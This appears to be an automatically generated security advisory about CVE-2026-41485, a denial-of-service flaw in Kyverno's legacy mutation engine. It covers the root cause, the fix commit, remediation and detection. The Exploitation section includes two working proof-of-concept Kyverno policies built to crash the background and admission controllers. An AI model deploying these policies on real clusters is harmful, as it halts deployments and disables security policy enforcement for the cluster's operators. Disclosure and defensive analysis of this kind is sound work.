CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-41485
7.70.04%

CVE-2026-41485: Denial of Service in Kyverno via Unchecked Type Assertion in Mutation Engine

Amit Schendel
Amit Schendel
Senior Security Researcher

Apr 25, 2026·7 min read·5 visits

PoC Available

Executive Summary (TL;DR)

A Go type assertion panic in Kyverno's mutation engine allows authenticated users to crash the background and admission controllers, leading to a persistent DoS.

Kyverno policy engine versions prior to 1.16.4 and 1.17.0-rc1 through 1.17.1 are vulnerable to a Denial of Service. An unchecked Go type assertion in the legacy mutation engine triggers a runtime panic when processing missing JMESPath variables.

Vulnerability Overview

CVE-2026-41485 is a Denial of Service (DoS) vulnerability located in the legacy mutation engine of Kyverno, a Kubernetes-native policy management system. The flaw specifically resides within the forEach mutation handler, which processes iterative policy rules against arrays of data. An attacker with permissions to create or update Kyverno Policy or ClusterPolicy resources can exploit this flaw to crash the Kyverno controllers.

The vulnerability is classified under CWE-617: Reachable Assertion. It manifests as an unchecked interface type assertion in the Go source code. When the mutation engine processes a policy containing specific unresolved JMESPath variables, the application encounters a nil interface. The subsequent attempt to cast this nil interface to a string triggers an unrecoverable Go runtime panic.

The primary consequence of this vulnerability is a high-impact Denial of Service. Exploitation disrupts either the background controller or the admission controller, depending on the targeted resource and policy configuration. This disruption results in a complete loss of policy enforcement and can systematically block legitimate cluster operations.

Root Cause Analysis

The vulnerability stems from unsafe type assumptions during variable substitution in pkg/engine/mutate/mutation.go. The legacy mutation engine processes forEach rules by first evaluating JMESPath expressions to perform variable substitution. This mechanism populates a map fe with the results of these evaluations.

When a policy defines a patchesJson6902 field utilizing a variable that fails to resolve at runtime, the JMESPath engine evaluates the expression as nil. Consequently, the map fe stores a nil interface for the patchesJson6902 key instead of the expected string representation of the JSON patch. The program flow continues under the assumption that the evaluation returned a valid string.

The critical failure occurs at the instantiation of the patcher object. The code attempts a bare type assertion: fe["patchesJson6902"].(string). In Go, performing a direct type assertion on a nil interface without utilizing the "comma-ok" idiom triggers a fatal panic. The runtime halts the executing goroutine with the error interface conversion: interface {} is nil, not string, terminating the controller process.

Code Analysis

The vulnerable code path highlights a common pitfall in Go programming: assuming the type safety of untyped maps after dynamic data evaluations. The original implementation failed to validate the output type of the JMESPath evaluation before asserting it as a string.

// Vulnerable Implementation (pkg/engine/mutate/mutation.go)
patcher := NewPatcher(fe["patchStrategicMerge"], fe["patchesJson6902"].(string))

The fix, introduced in commit 76c8fdbe87328722e099e1fd44c3f21c9f7809cb, replaces the bare type assertion with a safe type assertion utilizing the comma-ok idiom. This approach verifies the type conversion before utilizing the value.

// Patched Implementation (pkg/engine/mutate/mutation.go)
jsonPatch, _ := fe["patchesJson6902"].(string)
patcher := NewPatcher(fe["patchStrategicMerge"], jsonPatch)

By checking the type safely, the patched code assigns an empty string to jsonPatch if the fe["patchesJson6902"] interface is nil or not a string. This prevents the runtime panic and allows the engine to handle the empty patch gracefully. While this resolves the specific panic, maintaining complex logic with untyped maps remains error-prone, highlighting the architectural necessity of migrating to the newer CEL-based policy engine.

Exploitation

Exploitation requires the attacker to possess Kubernetes Role-Based Access Control (RBAC) permissions sufficient to create or update Policy or ClusterPolicy resources. Once these permissions are obtained, the attacker can deploy specially crafted policies designed to force a nil JMESPath evaluation.

The first attack vector targets the background controller using a namespaced policy. By setting mutateExistingOnPolicyUpdate: true and targeting an existing resource type, the attacker forces Kyverno to generate an UpdateRequest in ETCD. When the background controller processes this request, the nil assertion triggers the panic. The controller crashes, restarts, and immediately re-fetches the poisoned UpdateRequest, entering a persistent CrashLoopBackOff.

apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: crash-background
  namespace: default
spec:
  mutateExistingOnPolicyUpdate: true
  rules:
  - name: trigger-panic
    match:
      any:
      - resources:
          kinds:
          - Secret
    mutate:
      foreach:
      - list: "request.object.data"
        patchesJson6902: |-
          - op: replace
            path: /data/{{ element.nonexistent }}
            value: "poison"

The second attack vector targets the admission controller via a synchronous webhook invocation. The attacker deploys a ClusterPolicy that matches common resource creation events. When a user or system component attempts to create the matched resource, the admission webhook processes the policy, panics, and abruptly terminates the HTTP connection. The Kubernetes API server records an EOF error.

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: crash-admission
spec:
  rules:
  - name: trigger-panic
    match:
      any:
      - resources:
          kinds:
          - Secret
    mutate:
      foreach:
      - list: "request.object.data"
        patchesJson6902: |-
          - op: replace
            path: /data/{{ element.nonexistent }}
            value: "poison"

Impact Assessment

The CVSS v3.1 vector is CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H, reflecting a High severity rating (7.7). The attack requires low privileges and no user interaction, but significantly degrades the availability of the targeted Kubernetes cluster environment.

The impact on the background controller is systemic. Once the controller enters a CrashLoopBackOff state due to poisoned UpdateRequests in ETCD, all background policy enforcement, generation, and reporting mechanisms cease functioning. This leaves the cluster exposed to policy drift and breaks automated governance workflows.

The impact on the admission controller dictates operational continuity. If the Kyverno MutatingWebhookConfiguration is set to failurePolicy: Fail, the EOF connection drops will cause the API server to reject all resource creations matching the policy. This halts application deployments and operational scaling. If set to failurePolicy: Ignore, the failure open state allows unvalidated resources into the cluster, compromising security postures.

Despite the severe local impact, the EPSS score remains low at 0.00037 (11.15th percentile). This indicates a low probability of widespread automated exploitation. The necessity for authenticated Kubernetes API access limits the attack surface exclusively to internal threats, compromised developer credentials, or misconfigured multi-tenant environments.

Remediation

The primary remediation strategy requires upgrading Kyverno to a patched version. Administrators must deploy Kyverno version 1.16.4 or 1.17.2 to eliminate the vulnerable code path. The upgrade process replaces the Kyverno deployments and webhooks, resolving the vulnerability without requiring manual policy changes.

For environments unable to patch immediately, administrators should audit and restrict RBAC permissions related to policy creation. Specifically, permissions to create or update Policy and ClusterPolicy objects must be strictly limited to trusted CI/CD pipelines or cluster administrators. Removing existing policies that utilize forEach loops with patchesJson6902 mitigates the attack surface.

As a proactive defensive measure within policy authoring, ensure that all JMESPath variable substitutions include default fallbacks. Modifying expressions to use logical OR operators, such as {{ element.field || '' }}, guarantees that the evaluation engine never returns a nil interface, thereby preventing the panic condition even on vulnerable versions.

Organizations are strongly encouraged to migrate their policies from the legacy mutation engine to the newer Common Expression Language (CEL) engine. The CEL engine operates independently of the legacy Go mutation logic and is systematically immune to this specific class of Go runtime interface panics.

Detection Engineering

Detection of exploitation attempts relies heavily on application log analysis. Security Information and Event Management (SIEM) systems should ingest Kyverno controller logs and alert on the exact panic string: panic: interface conversion: interface {} is nil, not string. The presence of this string confirms that the vulnerable code path was triggered.

Kubernetes operational metrics provide secondary detection capabilities. Monitoring the Prometheus metric kube_pod_container_status_restarts_total for the Kyverno namespace identifies controllers entering a CrashLoopBackOff state. A sudden spike in restart counts for the background controller pod is a strong indicator of a queued malicious UpdateRequest.

API server logs provide visibility into admission controller disruptions. Monitoring for HTTP 500 errors or specific webhook connection failures (e.g., EOF errors) originating from the Kyverno MutatingWebhookConfiguration during resource creation requests highlights active synchronous denial of service attempts.

Official Patches

KyvernoOfficial Security Advisory
KyvernoSource Code Fix Commit

Fix Analysis (1)

Technical Appendix

CVSS Score
7.7/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H
EPSS Probability
0.04%
Top 89% most exploited

Affected Systems

Kyverno Legacy Mutation EngineKyverno Background ControllerKyverno Admission Webhook

Affected Versions Detail

Product
Affected Versions
Fixed Version
Kyverno
Kyverno
< 1.16.41.16.4
Kyverno
Kyverno
>= 1.17.0-rc1, <= 1.17.11.17.2
AttributeDetail
CWE IDCWE-617
Attack VectorNetwork
CVSS Score7.7
EPSS Score0.00037
ImpactHigh (Denial of Service)
Exploit StatusPoC Available
Privileges RequiredLow (Policy RBAC)

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
T1499.004Application or System Exploitation
Impact
CWE-617
Reachable Assertion

Reachable Assertion

Known Exploits & Detection

GitHub Security AdvisoryProof of concept policies provided in the official GitHub Security Advisory.

Vulnerability Timeline

Initial fix commits submitted to the Kyverno repository.
2026-04-17
Official disclosure and publication of GHSA-fpjq-c37h-cqcv and CVE-2026-41485.
2026-04-24
CVE published in NVD with CVSS assessment.
2026-04-24

References & Sources

  • [1]GHSA-fpjq-c37h-cqcv
  • [2]Commit 76c8fdbe87328722e099e1fd44c3f21c9f7809cb

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.